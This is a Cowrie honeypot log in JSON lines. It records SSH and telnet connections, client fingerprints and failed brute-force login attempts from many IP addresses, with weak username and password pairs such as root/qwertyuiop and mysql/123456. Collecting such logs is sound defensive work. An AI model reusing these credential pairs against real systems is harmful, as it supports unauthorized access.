{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:02.541626Z","src_ip":"163.7.1.218","session":"4c351a43634d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:03.570470Z","src_ip":"196.196.150.5","session":"a1682633be1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@.com","message":"login attempt [root/123@.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:03.585119Z","src_ip":"163.7.1.218","session":"4c351a43634d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:04.839787Z","src_ip":"163.7.1.218","session":"4c351a43634d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.137.135","src_port":45126,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fc7c58e099a","protocol":"ssh","message":"New connection: 211.106.137.135:45126 (10.17.0.5:22) [session: 4fc7c58e099a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:07.641352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:07.651111Z","src_ip":"211.106.137.135","session":"4fc7c58e099a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:07.853633Z","src_ip":"211.106.137.135","session":"4fc7c58e099a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz0okm","message":"login attempt [root/1qaz0okm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:08.671852Z","src_ip":"211.106.137.135","session":"4fc7c58e099a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:09.880266Z","src_ip":"211.106.137.135","session":"4fc7c58e099a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":48848,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a9b26bb769","protocol":"ssh","message":"New connection: 8.210.75.243:48848 (10.17.0.5:22) [session: 04a9b26bb769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:10.515570Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40602,"dst_ip":"159.203.135.109","dst_port":23,"session":"124407ce813c","protocol":"telnet","message":"New connection: 170.64.224.25:40602 (159.203.135.109:23) [session: 124407ce813c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:10.537944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:11.217938Z","src_ip":"8.210.75.243","session":"04a9b26bb769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.199.16.90","src_port":41546,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc21c685b12f","protocol":"ssh","message":"New connection: 103.199.16.90:41546 (159.203.135.109:22) [session: fc21c685b12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:12.192277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:12.198369Z","src_ip":"103.199.16.90","session":"fc21c685b12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:12.416993Z","src_ip":"103.199.16.90","session":"fc21c685b12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:12.710295Z","src_ip":"8.210.75.243","session":"04a9b26bb769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"casper","password":"casper123","message":"login attempt [casper/casper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:13.278216Z","src_ip":"103.199.16.90","session":"fc21c685b12f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:14.500453Z","src_ip":"103.199.16.90","session":"fc21c685b12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:23.173675Z","src_ip":"8.210.75.243","session":"04a9b26bb769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:27.094455Z","src_ip":"8.210.75.243","session":"04a9b26bb769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.221.60.25","src_port":40238,"dst_ip":"159.203.135.109","dst_port":22,"session":"f90a85b45fe3","protocol":"ssh","message":"New connection: 58.221.60.25:40238 (159.203.135.109:22) [session: f90a85b45fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:32.985818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.319230Z","src_ip":"58.221.60.25","session":"f90a85b45fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.322593Z","src_ip":"58.221.60.25","session":"f90a85b45fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":35548,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd67c0df0444","protocol":"ssh","message":"New connection: 45.143.200.246:35548 (10.17.0.5:22) [session: dd67c0df0444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.419697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.423479Z","src_ip":"45.143.200.246","session":"dd67c0df0444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.524792Z","src_ip":"45.143.200.246","session":"dd67c0df0444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":50900,"dst_ip":"159.203.135.109","dst_port":22,"session":"432bb38c3534","protocol":"ssh","message":"New connection: 68.207.224.247:50900 (159.203.135.109:22) [session: 432bb38c3534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.794023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.797986Z","src_ip":"68.207.224.247","session":"432bb38c3534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.831157Z","src_ip":"68.207.224.247","session":"432bb38c3534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:34.966810Z","src_ip":"45.143.200.246","session":"dd67c0df0444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"just","message":"login attempt [root/just] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:35.010320Z","src_ip":"68.207.224.247","session":"432bb38c3534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:36.052092Z","src_ip":"68.207.224.247","session":"432bb38c3534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:36.071694Z","src_ip":"45.143.200.246","session":"dd67c0df0444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.177963256835938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:40.715760Z","src_ip":"170.64.224.25","session":"124407ce813c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":59246,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c18bc71a63f","protocol":"ssh","message":"New connection: 190.244.39.224:59246 (159.203.135.109:22) [session: 5c18bc71a63f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:45.870672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:45.878933Z","src_ip":"190.244.39.224","session":"5c18bc71a63f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:46.046823Z","src_ip":"190.244.39.224","session":"5c18bc71a63f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QX@123456","message":"login attempt [root/QX@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:46.717656Z","src_ip":"190.244.39.224","session":"5c18bc71a63f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:47.895357Z","src_ip":"190.244.39.224","session":"5c18bc71a63f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":41952,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba296b74fb01","protocol":"ssh","message":"New connection: 192.169.202.129:41952 (159.203.135.109:22) [session: ba296b74fb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:55.164837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:55.168372Z","src_ip":"192.169.202.129","session":"ba296b74fb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:18:55.233124Z","src_ip":"192.169.202.129","session":"ba296b74fb01","protocol":"ssh"}
